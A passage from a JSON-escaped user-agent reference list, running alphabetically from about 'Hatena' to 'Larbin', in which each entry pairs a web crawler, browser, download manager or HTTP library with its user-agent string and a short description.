robot\",\"ua\":\"Hatena Antenna\\/0.4 (http:\\/\\/a.hatena.ne.jp\\/help#robot)\"},{\"description\":\"Hatena Japan proxy for handheld\\/mobile clients\",\"ua\":\"Hatena Mobile Gateway\\/1.0\"},{\"description\":\"Hatena Japan robot\",\"ua\":\"Hatena Pagetitle Agent\\/1.0\"},{\"description\":\"Hatena Japan RSS feed robot\",\"ua\":\"Hatena RSS\\/0.3 (http:\\/\\/r.hatena.ne.jp)\"},{\"description\":\"Hatena::Diary (Japan) web page screenshot robot\",\"ua\":\"HatenaScreenshot\\/1.0 (checker)\"},{\"description\":\"hbtronix.spider - Domain name spider (Germany)\",\"ua\":\"hbtronix.spider.2 -- http:\\/\\/hbtronix.de\\/spider.php\"},{\"description\":\"Mirago Germany robot\",\"ua\":\"HeinrichderMiragoRobot\"},{\"description\":\"Mirago Germany robot\",\"ua\":\"HeinrichderMiragoRobot (http:\\/\\/www.miragorobot.com\\/scripts\\/deinfo.asp)\"},{\"description\":\"Helix - The SiteSearch (Canada) web crawler\",\"ua\":\"Helix\\/1.x ( http:\\/\\/www.sitesearch.ca\\/helix\\/)\"},{\"description\":\"Mirago France robot\",\"ua\":\"HenriLeRobotMirago (http:\\/\\/www.miragorobot.com\\/scripts\\/frinfo.asp)\"},{\"description\":\"Mirago search (UK) robot\",\"ua\":\"HenrytheMiragoRobot\"},{\"description\":\"Mirago search (UK) robot\",\"ua\":\"HenryTheMiragoRobot (http:\\/\\/www.miragorobot.com\\/scripts\\/mrinfo.asp)\"},{\"description\":\"O'Reilly's Perl LWP example client program from Web Client Programming with Perl\",\"ua\":\"hgrepurl\\/1.0\"},{\"description\":\"University of Kassel Germany CsCrawler using the HTTPClient library\",\"ua\":\"Hi! I'm CsCrawler my homepage: http:\\/\\/www.kde.cs.uni-kassel.de\\/lehre\\/ss2005\\/googlespam\\/crawler.html RPT-HTTPClient\\/0.3-3\"},{\"description\":\"HiDownload download manager\",\"ua\":\"HiDownload\"},{\"description\":\"Hippias robot\",\"ua\":\"Hippias\\/0.9 Beta\"},{\"description\":\"Pilot Hitlist web analytics solution\",\"ua\":\"HitList\"},{\"description\":\"Hitwise spider\",\"ua\":\"Hitwise Spider v1.0 http:\\/\\/www.hitwise.com\"},{\"description\":\"diff. IPs \\/ unknown services\",\"ua\":\"HLoader\"},{\"description\":\"Morfeo \\/ Centrum Search (Czech Republic) robot from 65.102.46.xxx\",\"ua\":\"holmes\\/3.11 (http:\\/\\/morfeo.centrum.cz\\/bot)\"},{\"description\":\"Onet.pl (Poland) search robot\",\"ua\":\"holmes\\/3.9 (onet.pl)\"},{\"description\":\"Onet.pl (Poland) search robot\",\"ua\":\"holmes\\/3.xx (OnetSzukaj\\/5.0; +http:\\/\\/szukaj.onet.pl)\"},{\"description\":\"Morfeo \\/ Centrum Search (Czech Republic) robot from 65.102.46.xxx\",\"ua\":\"holmes\\/x.x\"},{\"description\":\"Holes search robot (Georgia)\",\"ua\":\"HolmesBot (http:\\/\\/holmes.ge)\"},{\"description\":\"HomePageSearch robot\",\"ua\":\"HomePageSearch(hpsearch.uni-trier.de)\"},{\"description\":\"Homerweb search robot\",\"ua\":\"Homerbot: www.homerweb.com\"},{\"description\":\"Honda-Search.com - Honda cars related search robot\",\"ua\":\"Honda-Search\\/0.7.2 (Nutch; http:\\/\\/lucene.apache.org\\/nutch\\/bot.html; search@honda-search.com)\"},{\"description\":\"HooWWer - Next Generation Information Retrieval robot \",\"ua\":\"HooWWWer\\/2.1.3 (debugging run) (+http:\\/\\/cosco.hiit.fi\\/search\\/hoowwwer\\/ | mailto:crawler-info<at>hiit.fi)\"},{\"description\":\"HooWWer - Next Generation Information Retrieval robot (128.214.112.xx)\",\"ua\":\"HooWWWer\\/2.1.x ( http:\\/\\/cosco.hiit.fi\\/search\\/hoowwwer\\/ | mailto:crawler-info<at>hiit.fi)\"},{\"description\":\"HotJava browser plus HTML Component 1.1.x\",\"ua\":\"HotJava\\/1.0.1\\/JRE1.1.x\"},{\"description\":\"Hotzuno - Japanese BBS reader client\",\"ua\":\"Hotzonu\\/x.0\"},{\"description\":\"Unknown robot from HP Labs\",\"ua\":\"HPL\\/Nutch-0.9 -\"},{\"description\":\"COMPUTERorgs.com robot (205.134.190.xxx) using htdig\",\"ua\":\"htdig\\/3.1.6 (http:\\/\\/computerorgs.com)\"},{\"description\":\"htdig used by the Academie de Toulouse\",\"ua\":\"htdig\\/3.1.6 (unconfigured@htdig.searchengine.maintainer)\"},{\"description\":\"htdig search tool\",\"ua\":\"htdig\\/3.1.x (root@localhost)\"},{\"description\":\"Lithops Software link validation tool\",\"ua\":\"Html Link Validator (www.lithopssoft.com)\"},{\"description\":\"HTML2JPG webpage to image converter\",\"ua\":\"HTML2JPG Blackbox, http:\\/\\/www.html2jpg.com\"},{\"description\":\"HTML2JPG webpage to image converter\",\"ua\":\"HTML2JPG Enterprise\"},{\"description\":\"HTML Parser Java library to parse HTML\",\"ua\":\"HTMLParser\\/1.x\"},{\"description\":\"PHP HTTP client to access Web servers\",\"ua\":\"HTTP Retriever\"},{\"description\":\"Anonymous web proxy service\",\"ua\":\"http:\\/\\/Anonymouse.org\\/ (Unix)\"},{\"description\":\"Ask 24x Info (Germany) DMOZ related robot\",\"ua\":\"http:\\/\\/Ask.24x.Info\\/ (http:\\/\\/narres.it\\/)\"},{\"description\":\"ACONTBOT - Acont search Germany robot\",\"ua\":\"http:\\/\\/hilfe.acont.de\\/bot.html ACONTBOT\"},{\"description\":\"OzySoftware.com software directory link checking\",\"ua\":\"http:\\/\\/OzySoftware.com\\/Index.html\"},{\"description\":\"IBM's Almaden Research robot\",\"ua\":\"http:\\/\\/www.almaden.ibm.com\\/cs\\/crawler\"},{\"description\":\"IBM's Almaden Research robot\",\"ua\":\"http:\\/\\/www.almaden.ibm.com\\/cs\\/crawler [rc1.wf.ibm.com]\"},{\"description\":\"IBM's Almaden Research robot\",\"ua\":\"http:\\/\\/www.almaden.ibm.com\\/cs\\/crawler [wf216]\"},{\"description\":\"Istarthere.com search robot\",\"ua\":\"http:\\/\\/www.istarthere.com_spider@istarthere.com\"},{\"description\":\"Monogol - German open source search engine project (195.226.167.1xx)\",\"ua\":\"http:\\/\\/www.monogol.de\"},{\"description\":\"TrendTech Search Engine (Denmark) robot\",\"ua\":\"http:\\/\\/www.trendtech.dk\\/spider.asp)\"},{\"description\":\"HTTP::Lite - Standalone Perl module for retreiving HTTP documents\",\"ua\":\"HTTP::Lite\\/2.x.x\"},{\"description\":\"HTTPEyes - Web proxy cache\",\"ua\":\"HTTPEyes\"},{\"description\":\"HTTPResume Amiga download manager\",\"ua\":\"HTTPResume v. 1.x\"},{\"description\":\"HttpUnit - Java test code for emulating browser behaviour\",\"ua\":\"httpunit\\/1.5\"},{\"description\":\"HttpUnit - Java browser behavior simulation tool\",\"ua\":\"httpunit\\/1.x\"},{\"description\":\"Hybrid Share mono C#\\/Gtk# application for file sharing\",\"ua\":\"Hybrid\\/1.2 [en] (OS Independent)\"},{\"description\":\"Hyper Estraier full-text search system\",\"ua\":\"HyperEstraier\\/1.x.xx\"},{\"description\":\"i1search robot\",\"ua\":\"i1searchbot\\/2.0 (i1search web crawler; http:\\/\\/www.i1search.com; crawler@i1search.com)\"},{\"description\":\"Alexa \\/ The Internet Archive (209.237.238.1xx)\",\"ua\":\"IAArchiver-1.0\"},{\"description\":\"Unknown robot (reads robots.txt) from chinatelecom (219.142.78.xx)\",\"ua\":\"iaskspider\"},{\"description\":\"Iask search \\/ Sina portal robot (China)\",\"ua\":\"iaskspider2 (iask@staff.sina.com.cn)\"},{\"description\":\"Alexa \\/ The Internet Archive (209.237.238.1xx)\",\"ua\":\"ia_archiver\"},{\"description\":\"Alexa \\/ The Internet Archive (209.237.238.1xx)\",\"ua\":\"ia_archiver-web.archive.org\"},{\"description\":\"Alexa \\/ The Internet Archive (209.237.238.1xx)\",\"ua\":\"ia_archiver\\/1.6\"},{\"description\":\"IOSpirit iBrowse Amiga Browser\",\"ua\":\"IBrowse\\/2.2 (AmigaOS 3.5)\"},{\"description\":\"IOSpirit iBrowse Amiga Browser\",\"ua\":\"IBrowse\\/2.2 (Windows 3.1)\"},{\"description\":\"iCab MAC Web browser\",\"ua\":\"iCab\\/2.5.2 (Macintosh; I; PPC)\"},{\"description\":\"Knowledge Clustered Group ICC-Crawler (University of Tokyo - Japan)\",\"ua\":\"ICC-Crawler(Mozilla-compatible; http:\\/\\/kc.nict.go.jp\\/icc\\/crawl.html; icc-crawl(at)ml(dot)nict(dot)go(dot)jp)\"},{\"description\":\"Knowledge Clustered Group ICC-Crawler (University of Tokyo - Japan)\",\"ua\":\"ICC-Crawler(Mozilla-compatible;http:\\/\\/kc.nict.go.jp\\/icc\\/crawl.html;icc-crawl-contact(at)ml(dot)nict(dot)go(dot)jp)\"},{\"description\":\"ICJobs - Intelligence Competence Center (Germany) robot\",\"ua\":\"iCCrawler (http:\\/\\/www.iccenter.net)\"},{\"description\":\"ICJobs - Intelligence Competence Center (Germany) robot\",\"ua\":\"ICCrawler - ICjobs (http:\\/\\/www.icjobs.de\\/bot.htm)\"},{\"description\":\"ICE Java browser\",\"ua\":\"ICE Browser\\/5.05 (Java 1.4.0; Windows 2000 5.0 x86)\"},{\"description\":\"Goo Japan \\/ Inktomi robot (210.173.179.xx)\",\"ua\":\"ichiro\\/x.0 (http:\\/\\/help.goo.ne.jp\\/door\\/crawler.html)\"},{\"description\":\"Goo Japan \\/ Inktomi robot (210.173.179.xx)\",\"ua\":\"ichiro\\/x.0 (ichiro@nttr.co.jp)\"},{\"description\":\"Iconsurf.com - Visual Surf Engine \\/ favicon finder\",\"ua\":\"IconSurf\\/2.0 favicon finder (see http:\\/\\/iconsurf.com\\/robot.html)\"},{\"description\":\"Iconsurf.com - Visual Surf Engine \\/ favicon finder\",\"ua\":\"IconSurf\\/2.0 favicon monitor (see http:\\/\\/iconsurf.com\\/robot.html)\"},{\"description\":\"icooLoader download manager\",\"ua\":\"ICOO Loader v.x.x.x\"},{\"description\":\"ICRA (Internet Content Rating Association) label spider\",\"ua\":\"ICRA_label_spider\\/x.0\"},{\"description\":\"ICS Robot Search Engine (International Christian school of Seoul)\",\"ua\":\"icsbot-0.1\"},{\"description\":\"Internet Download Accelerator\",\"ua\":\"IDA\"},{\"description\":\"Janas (Ideare.com \\/ Tiscali.it) robot\",\"ua\":\"ideare - SignSite\\/1.x\"},{\"description\":\"Unknown UA from Yahoo China\",\"ua\":\"iearthworm\\/1.0, iearthworm@yahoo.com.cn\"},{\"description\":\"Some bookmark manager\",\"ua\":\"IEFav172Free\"},{\"description\":\"iFeed.jp - online rss aggregator (in development)\",\"ua\":\"iFeed.jp\\/2.0 (www.psychedelix.com\\/agents\\/agents.rss; 0 subscribers)\"},{\"description\":\"Igde search (Russia) robot\",\"ua\":\"igdeSpyder (compatible; igde.ru; +http:\\/\\/igde.ru\\/doc\\/tech.html)\"},{\"description\":\"iGetter download manager\",\"ua\":\"iGetter\\/1.x (Macintosh;G;PPC)\"},{\"description\":\"iGetter download manager\",\"ua\":\"iGetter\\/2 (Macintosh; U; PPC Mac OS X; en)\"},{\"description\":\"Webkhoj - Indian language search engine\",\"ua\":\"IIITBOT\\/1.1 (Indian Language Web Search Engine; http:\\/\\/webkhoj.iiit.net; pvvpr at iiit dot ac dot in)\"},{\"description\":\"Ilial Knowledge Search robot\",\"ua\":\"ilial\\/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company. For more information please visit http:\\/\\/www.ilial.com\\/crawler; http:\\/\\/www.ilial.com\\/crawler; crawl@ilial.com)\"},{\"description\":\"Unknown robot from UCLA using Nutch\",\"ua\":\"ilial\\/Nutch-0.9-dev\"},{\"description\":\"Ilse Netherlands robot (62.69.178.xx)\",\"ua\":\"IlseBot\\/1.x\"},{\"description\":\"Il Trovatore - Italian search engine robot\",\"ua\":\"IlTrovatore-Setaccio ( http:\\/\\/www.iltrovatore.it)\"},{\"description\":\"Il Trovatore - Italian search engine robot\",\"ua\":\"Iltrovatore-Setaccio\\/0.3-dev (Indexing; http:\\/\\/www.iltrovatore.it\\/bot.html; info@iltrovatore.it)\"},{\"description\":\"Il Trovatore - Italian search engine robot\",\"ua\":\"IlTrovatore-Setaccio\\/1.2 ( http:\\/\\/www.iltrovatore.it\\/aiuto\\/faq.html)\"},{\"description\":\"Il Trovatore - Italian search engine robot\",\"ua\":\"Iltrovatore-Setaccio\\/1.2 (It-bot; http:\\/\\/www.iltrovatore.it\\/bot.html; info@iltrovatore.it)\"},{\"description\":\"Il Trovatore - Italian search engine robot\",\"ua\":\"iltrovatore-setaccio\\/1.2-dev (spidering; http:\\/\\/www.iltrovatore.it\\/aiuto\\/.....)\"},{\"description\":\"Il Trovatore - Italian search engine robot\",\"ua\":\"IlTrovatore\\/1.2 (IlTrovatore; http:\\/\\/www.iltrovatore.it\\/bot.html; bot@iltrovatore.it)\"},{\"description\":\"ImageVisu image and graphics viewer - display files from the Web (HTTP and ECWP)\",\"ua\":\"ImageVisu\\/v4.x.x\"},{\"description\":\"BD-Brandprotect copyright infringement crawler\",\"ua\":\"ImageWalker\\/2.0 (www.bdbrandprotect.com)\"},{\"description\":\"HttpClient - a PHP Web Client Class\",\"ua\":\"Incutio HttpClient v0.x\"},{\"description\":\"IncyWincy search engine using DMOZ Open Directory database\",\"ua\":\"IncyWincy data gatherer(webmaster@loopimprovements.com\"},{\"description\":\"IncyWincy search engine using DMOZ Open Directory database\",\"ua\":\"IncyWincy page crawler(webmaster@loopimprovements.com\"},{\"description\":\"Look.com robot using IncyWincy search engine\",\"ua\":\"IncyWincy(http:\\/\\/www.look.com)\"},{\"description\":\"IncyWincy search engine using DMOZ Open Directory database\",\"ua\":\"IncyWincy(http:\\/\\/www.loopimprovements.com\\/robot.html)\"},{\"description\":\"IncyWincy search engine using DMOZ Open Directory database\",\"ua\":\"IncyWincy\\/2.1(loopimprovements.com\\/robot.html)\"},{\"description\":\"Index the Web (69.57.134.xx) crawler\",\"ua\":\"IndexTheWeb.com Crawler7\"},{\"description\":\"Spam bot from diff. IPs\",\"ua\":\"Industry Program 1.0.x\"},{\"description\":\"Inet Library Resource Center robot\",\"ua\":\"Inet library\"},{\"description\":\"InetURL IVM (phone software) plugin for web server access ?\",\"ua\":\"InetURL\\/1.0\"},{\"description\":\"Pubblisito.com search - Italia\",\"ua\":\"info@pubblisito.com- (http:\\/\\/www.pubblisito.com) il Sud dei Motori di Ricerca\"},{\"description\":\"Infoaxe - search history and bookmark service\",\"ua\":\"Infoaxe.\\/Nutch-0.9\"},{\"description\":\"Converas RetrievalWare Internet Spider (63.241.61.x)\",\"ua\":\"infoConveraCrawler\\/0.8 ( http:\\/\\/www.authoritativeweb.com\\/crawl)\"},{\"description\":\"Versions-project.org Ingelin spider\",\"ua\":\"InfoFly\\/1.0 (http:\\/\\/www.versions-project.org\\/)\"},{\"description\":\"InfoLink link checking tool\",\"ua\":\"InfoLink\\/1.x\"},{\"description\":\"INFOMINE Scholary Internet Resource Collection crawler\",\"ua\":\"INFOMINE\\/8.0 Adders\"},{\"description\":\"INFOMINE Scholary Internet Resource Collection crawler\",\"ua\":\"INFOMINE\\/8.0 RemoteServices\"},{\"description\":\"INFOMINE Scholary Internet Resource Collection crawler\",\"ua\":\"INFOMINE\\/8.0 VLCrawler (http:\\/\\/infomine.ucr.edu\\/useragents)\"},{\"description\":\"164.71.1.1xx jp.co.fujitsu.t2 Robot\",\"ua\":\"InfoNaviRobot(F107)\"},{\"description\":\"Infoseek robot\",\"ua\":\"InfoSeek Sidewinder\\/0.9\"},{\"description\":\"Infoseek robot\",\"ua\":\"InfoSeek Sidewinder\\/1.0A\"},{\"description\":\"Infoseek robot\",\"ua\":\"InfoSeek Sidewinder\\/1.1A\"},{\"description\":\"Infoseek robot\",\"ua\":\"Infoseek SideWinder\\/1.45 (Compatible; MSIE 10.0; UNIX)\"},{\"description\":\"Infoseek Japan robot\",\"ua\":\"Infoseek SideWinder\\/2.0B (Linux 2.4 i686)\"},{\"description\":\"Ilse Netherlands robot (62.69.178.xx)\",\"ua\":\"INGRID\\/3.0 MT (webcrawler@NOSPAMexperimental.net; http:\\/\\/webmaster.ilse.nl\\/jsp\\/webmaster.jsp)\"},{\"description\":\"Inktomi (Hotbot-Lycos NBCi etc.) robot\",\"ua\":\"Inktomi Search\"},{\"description\":\"Enterprise Search engine software (64.202.165.xxx) \",\"ua\":\"InnerpriseBot\\/1.0 (http:\\/\\/www.innerprise.com\\/)\"},{\"description\":\"Insitor Search robot (80.67.20.1xx)\",\"ua\":\"Insitor.com search and find world wide!\"},{\"description\":\"Insitor Search robot (80.67.20.1xx)\",\"ua\":\"Insitornaut\"},{\"description\":\"download manager\",\"ua\":\"InstallShield DigitalWizard\"},{\"description\":\"Integrity - website broken link checker for MAC OSx\",\"ua\":\"integrity\\/1.6\"},{\"description\":\"Microton Intelix robot for Eurotran translation software ?\",\"ua\":\"Intelix\\/0.x (cs; http:\\/\\/www.microton.cz\\/intelix\\/; microton@@microton.cz)\"},{\"description\":\"Interarchy file transfer software - SFTP\\/FTP client for Mac OS X\",\"ua\":\"Interarchy\\/x.x.x (InterarchyCrawler)\"},{\"description\":\"Dream Train (Japan) Internet search robot\",\"ua\":\"Internet Ninja x.0\"},{\"description\":\"Heritrix - The Internet Archive's open-source crawler based on Nutch (207.241.225.2xx)\",\"ua\":\"InternetArchive\\/0.8-dev(Nutch;http:\\/\\/lucene.apache.org\\/nutch\\/bot.html;nutch-agent@lucene.apache\"},{\"description\":\"Internet Link Agent - link checking tool\",\"ua\":\"InternetLinkAgent\\/3.1\"},{\"description\":\"Internetseer Web site monitoring \\/ Claymont robot\",\"ua\":\"InternetSeer.com\"},{\"description\":\"intraVNews - Feed reader & RSS aggregator for Outlook\",\"ua\":\"intraVnews\\/1.x\"},{\"description\":\"Internet Open Index crawler using Nutch\",\"ua\":\"IOI\\/2.0 (ISC Open Index crawler; http:\\/\\/index.isc.org\\/; bot@index.isc.org)\"},{\"description\":\"IP*Works! HTTP Component\",\"ua\":\"IP*Works! V5 HTTP\\/S Component - by \\/n software - www.nsoftware.com\"},{\"description\":\"IP2Location - Reverse lookup geographical data and ISP by IP\",\"ua\":\"http:\\/\\/www.ip2location.com\"},{\"description\":\"IP2Map - geographical IP mapping\",\"ua\":\"IP2MapBot\\/1.1 <a href=http:\\/\\/www.ip2map.com>http:\\/\\/www.ip2map.com<\\/a>\"},{\"description\":\"Laurions Ipium robot\",\"ua\":\"IPiumBot laurion(dot)com\"},{\"description\":\"Ipselon Web Search robot\",\"ua\":\"IpselonBot\\/0.xx-beta (Ipselon; http:\\/\\/www.ipselon.com; ipselonbot@ipselon.com)\"},{\"description\":\"Iria download manager\",\"ua\":\"Iria\\/1.xxa\"},{\"description\":\"IRL-crawler - Texas A&M University research project crawler\",\"ua\":\"IRLbot\\/1.0 ( http:\\/\\/irl.cs.tamu.edu\\/crawler)\"},{\"description\":\"IRL-crawler - Texas A&M University research project crawler\",\"ua\":\"IRLbot\\/3.0 (compatible; MSIE 6.0; http:\\/\\/irl.cs.tamu.edu\\/crawler\\/)\"},{\"description\":\"url_log - Irssi Perl url grabber\",\"ua\":\"IrssiUrlLog\\/0.2\"},{\"description\":\"Irvine downloading tool\",\"ua\":\"Irvine\\/1.x.x\"},{\"description\":\"Unknown spambot \\/ harvester from diff. IPs\",\"ua\":\"ISC Systems iRc Search 2.1\"},{\"description\":\"iSiloX document converter for iSilo reader\",\"ua\":\"iSiloX\\/4.xx Windows\\/32\"},{\"description\":\"Unknown University of Alberta link-checking ?\",\"ua\":\"isurf (tszhu@canada.com)\"},{\"description\":\"iTunes UA name for access and decrypt the iTunes music store pages\",\"ua\":\"iTunes\\/x.x.x\"},{\"description\":\"Some spam bot from 66.139.78.xx(x)\",\"ua\":\"IUPUI Research Bot v 1.9a\"},{\"description\":\"iVia robot - Open source Internet portal & virtual library system software\",\"ua\":\"iVia Page Fetcher (http:\\/\\/ivia.ucr.edu\\/useragents.shtml)\"},{\"description\":\"iVia robot - Open source Internet portal & virtual library system software\",\"ua\":\"iVia\\/4.0 CanonizeUrl (http:\\/\\/infomine.ucr.edu\\/iVia\\/useragents.shtml\"},{\"description\":\"BD BrandProtect - brand, company or trademarks online monitoring\",\"ua\":\"IWAgent\\/ 1.0 - www.brandprotect.com\"},{\"description\":\"Proxy message from jp-q.ne.jp\",\"ua\":\"J-PHONE\\/3.0\\/J-SH07\"},{\"description\":\"ODIN Directory Japan robot (163.138.95.xx)\",\"ua\":\"Jabot\\/6.x (http:\\/\\/odin.ingrid.org\\/)\"},{\"description\":\"ODIN Directory Japan robot (163.138.95.xx)\",\"ua\":\"Jabot\\/7.x.x (http:\\/\\/odin.ingrid.org\\/)\"},{\"description\":\"German Domanova (offline since Feb.02) robot\",\"ua\":\"Jack\"},{\"description\":\"Jakarta Commons (Java based) HTTP client\",\"ua\":\"Jakarta Commons-HttpClient\\/2.0xxx\"},{\"description\":\"Jakarta Commons (Java based) HTTP client\",\"ua\":\"Jakarta Commons-HttpClient\\/3.0-rcx\"},{\"description\":\"JamBot search robot (70.146.82.xx)\",\"ua\":\"Jambot\\/0.1.x (Jambot; http:\\/\\/www.jambot.com\\/blog; crawler@jambot.com)\"},{\"description\":\"JamBot search robot\",\"ua\":\"Jambot\\/0.2.1 (Jambot; http:\\/\\/www.jambot.com\\/blog\\/static.php?page=webmaster-robot; crawler@jambot.com)\"},{\"description\":\"Java VM\",\"ua\":\"Java 1.1\"},{\"description\":\"Java VM\",\"ua\":\"Java\\/1.4.1_01\"},{\"description\":\"Java VM\",\"ua\":\"Java1.0.21.0\"},{\"description\":\"Java VM\",\"ua\":\"Java1.1.xx.x\"},{\"description\":\"Java VM\",\"ua\":\"Java1.3.0rc1\"},{\"description\":\"Java VM\",\"ua\":\"Java1.3.x\"},{\"description\":\"Java VM\",\"ua\":\"Java1.4.0\"},{\"description\":\"Jayde B2B Search robot (66.28.139.xx)\",\"ua\":\"Jayde Crawler. http:\\/\\/www.jayde.com\"},{\"description\":\"some site downloading tool ? via 61.77.51.xxx\",\"ua\":\"JBH Agent 2.0\"},{\"description\":\"WAP 2.0 \\/ jBrowser for handhelds\",\"ua\":\"jBrowser\\/J2ME Profile\\/MIDP-1.0 Configuration\\/CLDC-1.0 (Google WAP Proxy\\/1.0)\"},{\"description\":\"JCheckLinks Java hyperlink validator\",\"ua\":\"JCheckLinks\\/0.1 RPT-HTTPClient\\/0.3-1\"},{\"description\":\"Java Development Kit\",\"ua\":\"JDK\\/1.1\"},{\"description\":\"Insignias Jeode (PDA) Java platform\",\"ua\":\"Jeode\\/1.x.x\"},{\"description\":\"JetEye Search robot (64.62.142.xxx \\/ 64.71.144.xxx)\",\"ua\":\"Jetbot\\/1.0\"},{\"description\":\"Omea RSS -  Atom - newsgroups web page reader \",\"ua\":\"JetBrains Omea Reader 1.0.x (http:\\/\\/www.jetbrains.com\\/omea_reader\\/)\"},{\"description\":\"Omea RSS -  Atom - newsgroups web page reader \",\"ua\":\"JetBrains Omea Reader 2.0 Release Candidate 1 (http:\\/\\/www.jetbrains.com\\/omea_reader\\/)\"},{\"description\":\"JetCar \\/ Flashget download manager\",\"ua\":\"JetCar\"},{\"description\":\"Jigsaw - W3C's CSS Validator Server\",\"ua\":\"Jigsaw\\/2.2.x W3C_CSS_Validator_JFouffa\\/2.0\"},{\"description\":\"Jobo website downloading program\",\"ua\":\"JoBo\\/1.x (http:\\/\\/www.matuschek.net\\/jobo.html)\"},{\"description\":\"Jobo website downloading program\",\"ua\":\"JoBo\\/@JOBO_VERSION@(http:\\/\\/www.matuschek.net\\/jobo.html)\"},{\"description\":\"Finacialbot.com - German (213.61.218.xx) job search JobRoboter\",\"ua\":\"JobSpider_BA\\/1.1\"},{\"description\":\"Jocsoft Web Spider - website downloading tool\",\"ua\":\"JOC Web Spider\"},{\"description\":\"Jordo Media RSS \\/ Atom feed directory link checking\",\"ua\":\"JordoMedia\\/1.0 RSS File Reader (http:\\/\\/www.jordomedia.com)\"},{\"description\":\"Journster.com RSS\\/Atom aggregator\",\"ua\":\"Journster [alpha] (http:\\/\\/journster.com\\/)\"},{\"description\":\"Journster.com RSS\\/Atom aggregator\",\"ua\":\"Journster.com RSS\\/Atom aggregator 0.5 (http:\\/\\/www.journster.com\\/bot.phtml)\"},{\"description\":\"Check Favorites bookmark checking\",\"ua\":\"JRTS Check Favorites Utility\"},{\"description\":\"Check Favorites bookmark checking\",\"ua\":\"JRTwine Software Check Favorites Utility\"},{\"description\":\"Jyxo search (Czech Republic) robot (212.71.128.xx)\",\"ua\":\"Jyxobot\\/x\"},{\"description\":\"K-meleon browser -  Windows 2000\",\"ua\":\"K-Meleon\\/0.6 (Windows; U; Windows NT 5.1; en-US; rv:0.9.5) Gecko\\/20011011\"},{\"description\":\"Verity K2 Spider ( Network search software)\",\"ua\":\"k2spider\"},{\"description\":\"Unknown robot from AITrc (Advanced Information Technology Research Center) - Korea\",\"ua\":\"KAIST AITrc Crawler\"},{\"description\":\"Kakle ranked metasearch robot\",\"ua\":\"KakleBot - www.kakle.com\\/0.1 (KakleBot - www.kakle.com; http:\\/\\/ www.kakle.com\\/bot.html; support@kakle.com)\"},{\"description\":\"Kalooga image crawler\",\"ua\":\"kalooga\\/kalooga-4.0-dev-datahouse (Kalooga; http:\\/\\/www.kalooga.com; info@kalooga.com)\"},{\"description\":\"Kalooga image crawler\",\"ua\":\"kalooga\\/KaloogaBot (Kalooga; http:\\/\\/www.kalooga.com\\/info.html?page=crawler; crawler@kalooga.com)\"},{\"description\":\"Kapere site grapper \\/ web downloader\",\"ua\":\"Kapere (http:\\/\\/www.kapere.com)\"},{\"description\":\"Kazehakase - Gecko based browser (Japan)\",\"ua\":\"Kazehakase\\/0.x.x.[x]\"},{\"description\":\"Openwave UP.Browser for mobiles via Google WAP Proxy (216.239.33.x)\",\"ua\":\"KDDI-SN22 UP.Browser\\/6.0.7 (GUI) MMP\\/1.1 (Google WAP Proxy\\/1.0)\"},{\"description\":\"Kenjin Spider search agent\",\"ua\":\"Kenjin Spider\"},{\"description\":\"Dznet.com Kevin crawler (link checking ?) via 68.39.148.xx (nj.comcast.net)\",\"ua\":\"Kevin http:\\/\\/dznet.com\\/kevin\\/\"},{\"description\":\"Website AlertsKevin crawler (website monitoring) via 68.39.148.xx (nj.comcast.net)\",\"ua\":\"Kevin http:\\/\\/websitealert.net\\/kevin\\/\"},{\"description\":\"Voila.fr robot\",\"ua\":\"KE_1.0\\/2.0 libwww\\/5.2.8\"},{\"description\":\"Some Perl search script from KFSW (Germany)\",\"ua\":\"KFSW-Bot (Version: 1.01 powered by KFSW www.kfsw.de)\"},{\"description\":\"kinja weblog search robot\",\"ua\":\"kinja-imagebot (http:\\/\\/www.kinja.com\\/)\"},{\"description\":\"kinja weblog search robot\",\"ua\":\"kinjabot (http:\\/\\/www.kinja.com)\"},{\"description\":\"Fireball search (Germany) robot\",\"ua\":\"KIT-Fireball\\/2.0\"},{\"description\":\"Fireball search (Germany) robot\",\"ua\":\"KIT-Fireball\\/2.0 (compatible; Mozilla 4.0; MSIE 5.5)\"},{\"description\":\"Klondike WAP Browser\",\"ua\":\"Klondike\\/1.50 (WSP Win32) (Google WAP Proxy\\/1.0)\"},{\"description\":\"University of Washington KnowItAll - web information extraction\",\"ua\":\"KnowItAll(knowitall@cs.washington.edu)\"},{\"description\":\"The knowledge.com (ODP) directory robot\",\"ua\":\"Knowledge.com\\/0.x\"},{\"description\":\"Kontiki Client download manager\",\"ua\":\"Kontiki Client x.xx\"},{\"description\":\"Krugle source code search engine for developers (64.71.164.1xx) \",\"ua\":\"Krugle\\/Krugle,Nutch\\/0.8+ (Krugle web crawler; http:\\/\\/www.krugle.com\\/crawler\\/info.html; webcrawler@krugle.com)\"},{\"description\":\"KnowledgeStorm technology industry crawler for Findtech.com\",\"ua\":\"KSbot\\/1.0 (KnowledgeStorm crawler; http:\\/\\/www.knowledgestorm.com\\/resources\\/content\\/crawler\\/index.html; crawleradmin@knowledgestorm.com)\"},{\"description\":\"Kuloko contextual search robot\",\"ua\":\"kuloko-bot\\/0.x\"},{\"description\":\"Kuloko contextual search robot\",\"ua\":\"kulokobot www.kuloko.com kuloko@backweave.com\"},{\"description\":\"National Library of Sweden Heritage Project robot\",\"ua\":\"kulturarw3\\/0.1\"},{\"description\":\"Link or server checking from Sanoma Budapest (195.70.35.xxx)\",\"ua\":\"KummHttp\\/1.1 (compatible; KummClient; Linux rulez)\"},{\"description\":\"UP.Browser for mobiles on Kyocera KWC-KX9 cellphone\",\"ua\":\"KWC-KX9\\/1109 UP.Browser\\/6.2.3.9.g.1.107 (GUI) MMP\\/2.0 UP.Link\\/6.3.0.0.0\"},{\"description\":\"TREC Blog Track - Blog and news feed crawler\",\"ua\":\"Labrador\\/0.2; http:\\/\\/ir.dcs.gla.ac.uk\\/labrador; craigm@dcs.gla.ac.uk\"},{\"description\":\"Intels Lachesis web site response time monitoring tool\",\"ua\":\"Lachesis\"},{\"description\":\"Unknown robot from Easten Network China (202.96.51.1xx)\",\"ua\":\"lanshanbot\\/1.0\"},{\"description\":\"Unknown robot from Easten Network China (202.96.51.1xx)\",\"ua\":\"lanshanbot\\/1.0 (+http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"Lapozz search (Hungary) robot (82.131.195.xx)\",\"ua\":\"LapozzBot\\/1.4 ( http:\\/\\/robot.lapozz.com)\"},{\"description\":\"Lapozz search (Hungary) robot (82.131.195.xx)\",\"ua\":\"LapozzBot\\/1.5 (+http:\\/\\/robot.lapozz.hu)\"},{\"description\":\"Larbin indexer used as 